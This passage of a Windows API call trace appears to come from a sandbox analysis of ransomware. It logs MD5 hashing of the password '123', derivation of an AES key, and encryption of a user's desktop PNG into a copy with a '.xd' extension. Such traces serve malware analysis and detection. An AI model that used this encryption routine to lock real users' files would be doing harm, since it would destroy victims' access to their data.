wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.720] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.720] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.720] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.720] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.720] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.720] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.720] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.720] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.720] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621600, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.721] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.721] CryptCreateHash (in: hProv=0x1632078, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.721] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.721] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.721] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.722] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.722] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.722] CryptHashData (hHash=0x164c2b0, pbData=0x16294b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.722] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.722] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.722] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.722] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.722] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621780, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.723] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.723] CryptDeriveKey (in: hProv=0x1632078, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c970) returned 1 [0074.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.723] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.723] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.723] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.723] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.723] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0074.724] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.724] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.724] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.724] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.724] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.724] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\60fj7dhn4yut1t9gsdev.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0074.726] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.726] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.726] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.726] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.726] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.726] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0074.727] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\60FJ7dhn4YuT1T9GsdeV.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\60fj7dhn4yut1t9gsdev.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.732] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.732] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0074.735] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x3922, lpOverlapped=0x0) returned 1 [0074.735] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.739] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.739] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.739] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.739] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.740] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.740] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.740] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.740] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.740] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.740] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.740] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.740] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.740] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.740] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.741] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.741] CryptGetKeyParam (in: hKey=0x164c970, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.741] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.741] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.742] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.742] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.742] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.742] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.742] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.742] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.742] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.742] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.742] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.742] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.742] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.743] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.743] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621690, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.744] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.744] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x13922, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x13930) returned 1 [0074.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.745] CharLowerBuffW (in: lpsz="byte[80177]", cchLength=0xb | out: lpsz="byte[80177]") returned 0xb [0074.745] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.747] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.747] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.747] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.747] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b70, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.747] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.747] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181b6b0*, pdwDataLen=0x130e618*=0x13922, dwBufLen=0x13930 | out: pbData=0x181b6b0*, pdwDataLen=0x130e618*=0x13930) returned 1 [0074.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.748] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.748] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.748] CharUpperBuffW (in: 